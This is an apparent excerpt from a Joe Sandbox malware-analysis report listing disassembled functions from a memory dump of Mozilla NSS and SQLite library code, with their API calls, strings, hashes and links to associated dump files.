Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 45a018306512807e904c8dac7f30034aa11c60d5a4028ef825655056d1a7b090
Instruction ID: db6bdd813cf2ba6c1cf8fdb5b5729146bbc07fb9851be1f244c55297ff48c501
Opcode Fuzzy Hash: 45a018306512807e904c8dac7f30034aa11c60d5a4028ef825655056d1a7b090
Instruction Fuzzy Hash: 4961A4B0E013459BDF00DF66D845B9AB7B4BF49348F144129EC19ABB41EB31E944CB6A

Function 6C66ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEF1
free.MOZGLUE(6C64CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C64CDBB,?), ref: 6C66AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AF30

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: c6218654c8b4fa7f614cade72da507b6a525e87a4a489a17b313a1a40388e88e
Instruction ID: 83ae48fa7b1890873aacb67ce3b68f432809cee2124f2b4be1e5a91bc47fdad1
Opcode Fuzzy Hash: c6218654c8b4fa7f614cade72da507b6a525e87a4a489a17b313a1a40388e88e
Instruction Fuzzy Hash: BE51AFB1A00611AFDB01DF26D884B56B7B4FF09319F144264E91897E12E731F864CBD6

Function 6C644CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C64AB7F,?,00000000,?), ref: 6C644CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C64AB7F,?,00000000,?), ref: 6C644CC8
TlsGetValue.KERNEL32(?,6C64AB7F,?,00000000,?), ref: 6C644CE0
EnterCriticalSection.KERNEL32(?,?,6C64AB7F,?,00000000,?), ref: 6C644CF4
PL_HashTableLookup.NSS3(?,?,?,6C64AB7F,?,00000000,?), ref: 6C644D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C644D10

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C644D26

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C644D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C644DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C644E02

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 6fa50a25a9985ee6a4b7c01aee7335158fcbfdbb25c82114dc6c326ff2dc4529
Instruction ID: ff21957d371164a5e3882f92d24478c673dc3906d2e6adcd5a8cefa9225ba89d
Opcode Fuzzy Hash: 6fa50a25a9985ee6a4b7c01aee7335158fcbfdbb25c82114dc6c326ff2dc4529
Instruction Fuzzy Hash: A241B7B5A00515ABEB015F28EC419A677E9EF0635DF05D170EC0887B11EF71D914CBEA

Function 6C62BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62BFFB

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C62C015

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C62C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C62C04D

Part of subcall function 6C6769E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C676A47
Part of subcall function 6C6769E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C676A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C62C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C62C07B

Part of subcall function 6C628980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C627310), ref: 6C6289B8
Part of subcall function 6C628980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C627310), ref: 6C6289E6
Part of subcall function 6C628980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C628A00
Part of subcall function 6C628980: CERT_CopyRDN.NSS3(00000004,00000000,6C627310,?,?,00000004,?), ref: 6C628A1B
Part of subcall function 6C628980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C628A74

Part of subcall function 6C621D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C62C097,00000000,000000B0,?), ref: 6C621D2C
Part of subcall function 6C621D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C62C09B,00000000,00000000,00000000,?,6C62C097,00000000,000000B0,?), ref: 6C621D3F
Part of subcall function 6C621D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C62C087,00000000,000000B0,?), ref: 6C621D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C62C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C62C0C9

Part of subcall function 6C632DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C62C0D2,6C62C0CE,00000000,-000000D4,?), ref: 6C632DF5
Part of subcall function 6C632DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C62C0CE,00000000,-000000D4,?), ref: 6C632E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C62C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62C0E3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 47794dd243b6ec662f61a6df8816a4c9c13c7f165a6b76e6537a8a30beb3c46f
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: AF2177B2A4010577FB005A61AC81FFB72AC9F4275CF084134FD05D9647FB2AD9199ABE

Function 6C622E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E

Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91
Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
Part of subcall function 6C67FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33

Part of subcall function 6C67FD80: free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

TlsGetValue.KERNEL32 ref: 6C622E4E
EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
PL_HashTableLookup.NSS3(?), ref: 6C622E71
PL_HashTableRemove.NSS3(?), ref: 6C622E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
PR_Unlock.NSS3 ref: 6C622EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C622EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C622EC5

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 16ae32a7b283f8ce67dd2581556bc2145454464cd733d80e4537e88d421c81f9
Instruction ID: 89944c69c8aefe177fffbefc414b6fa59275af1cfc0b8371de553dceaee0f154
Opcode Fuzzy Hash: 16ae32a7b283f8ce67dd2581556bc2145454464cd733d80e4537e88d421c81f9
Instruction Fuzzy Hash: 69210A72A00100A7DF111B25DC49EDB3B75EB4335EF140430ED1896751F732D569E6AA

Function 6C60FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C60FD18
sqlite3_initialize.NSS3 ref: 6C60FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C60FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C60FD99
sqlite3_free.NSS3(00000000), ref: 6C60FE3C
sqlite3_free.NSS3(?), ref: 6C60FEE3
sqlite3_free.NSS3(?), ref: 6C60FEEE

Strings

simple, xrefs: 6C60FC79

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 1ae6b6cf1fee1c42c47882100dcd9bf0721e775636e2bb76e85335fd17c236f7
Instruction ID: a0eb2b849312b69667060bcbc53ced64dd3bae5e5d0075c7d283f902c6e4c167
Opcode Fuzzy Hash: 1ae6b6cf1fee1c42c47882100dcd9bf0721e775636e2bb76e85335fd17c236f7
Instruction Fuzzy Hash: 279151B0B012059FDB08CF55CA84AAAB7F1FF85318F248568D819AB752E731E842CB59

Function 6C615CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C615EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C615EED

Strings

API call with %s database connection pointer, xrefs: 6C615EC3
misuse, xrefs: 6C615EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C615ED1
%s at line %d of [%.10s], xrefs: 6C615EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C615E64
invalid, xrefs: 6C615EBE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 9558e2965809af67e533dec83bc03036cd56a6cc7cf25e3abcf08800984aca53
Instruction ID: af798abacb70c706a9d4110527c716fb776e8c1a76ade42817da7f5b2c307402
Opcode Fuzzy Hash: 9558e2965809af67e533dec83bc03036cd56a6cc7cf25e3abcf08800984aca53
Instruction Fuzzy Hash: B3819170F196119BEB198E2DC858BAAF3B1BF4130AF284269D8155BF51D730E842CB9D

Function 6C5FDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5FDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FDF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5FDE52, 6C5FDE81
%s at line %d of [%.10s], xrefs: 6C5FDE61, 6C5FDE90
database corruption, xrefs: 6C5FDE5C, 6C5FDE8B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 2ec48be883faec999d198c8a8a1831942f7dde53b432bdc66b64765365023daf
Instruction ID: bf926ecedc4817768a17997e30bf38461ae7daedb74ad9fc9be13a0528364cef
Opcode Fuzzy Hash: 2ec48be883faec999d198c8a8a1831942f7dde53b432bdc66b64765365023daf
Instruction Fuzzy Hash: 7081C2716043049FD718DF25CC84B6A77F1AF85308F15882DE9AA8BB51EB31E946CB62

Function 6C5ACEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5AB999), ref: 6C5ACFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5AB999), ref: 6C5AD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5AB999), ref: 6C5AD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5AB999), ref: 6C6F972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ACFDD, 6C5AD00E, 6C5AD022, 6C5AD033, 6C6F9780
%s at line %d of [%.10s], xrefs: 6C5ACFEC, 6C5AD018, 6C5AD029, 6C5AD03F, 6C6F978B
database corruption, xrefs: 6C5ACFE7, 6C5AD013, 6C5AD028, 6C5AD039, 6C5AD03E, 6C6F9786

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 9a8cbe0ab3c1267d76c51c6bb89709eacd6112fbfd10962c08d7731acbccc406
Instruction ID: aa24017ff77aa5339b892c55a001e276984825be19626a744335374bb0f491b2
Opcode Fuzzy Hash: 9a8cbe0ab3c1267d76c51c6bb89709eacd6112fbfd10962c08d7731acbccc406
Instruction Fuzzy Hash: ED613871A043108BD310CF6ACC40BAAB7F6EF95318F68456DE4489BB42E376E947C7A1

Function 6C6AFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6B0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6B015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6B01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6B0202
free.MOZGLUE(?), ref: 6C6B0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B0253

Strings

exporter, xrefs: 6C6B00F7

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: f22d91ded89cb444376b5ff279a5d983911186427e51ed180f8ae755e7e00129
Instruction ID: 068fba08e756e2bfa68bdeb83f889b76387ed3e41d3b908089505124a8fbad7e
Opcode Fuzzy Hash: f22d91ded89cb444376b5ff279a5d983911186427e51ed180f8ae755e7e00129
Instruction Fuzzy Hash: 1E6157B0900789ABEF158FA4CD00BEE7BB6FF4930CF104128ED1E66661EB319964C759

Function 6C684DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C68536F,00000022,?,?,00000000,?), ref: 6C684E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C684F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C684F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C684FAE
free.MOZGLUE(?), ref: 6C684FC8

Strings

oShl", xrefs: 6C684DFB, 6C684EF4, 6C684EC5
%s=%s, xrefs: 6C684F89
%s=%c%s%c, xrefs: 6C684FA9

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oShl"
API String ID: 2709355791-1727155148
Opcode ID: 13664f03b62f94d9039e36812ebbbfd6749fa8f51dbfaa09fdbc81f313e211b5
Instruction ID: da13444c239467528910e736d3f8a389fcaa03b712730999f347325553075e87
Opcode Fuzzy Hash: 13664f03b62f94d9039e36812ebbbfd6749fa8f51dbfaa09fdbc81f313e211b5
Instruction Fuzzy Hash: C2515C31A071498BEF11CA69C4B47FF7BFD9F46348F188129E894B7A40D375880687B9

Function 6C6AEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEF6D

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

htonl.WSOCK32(00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEFE4
htonl.WSOCK32(?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEFF1
memcpy.VCRUNTIME140(?,?,6C6CA4A1,?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AF027

Strings

dtls13, xrefs: 6C6AEF33

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

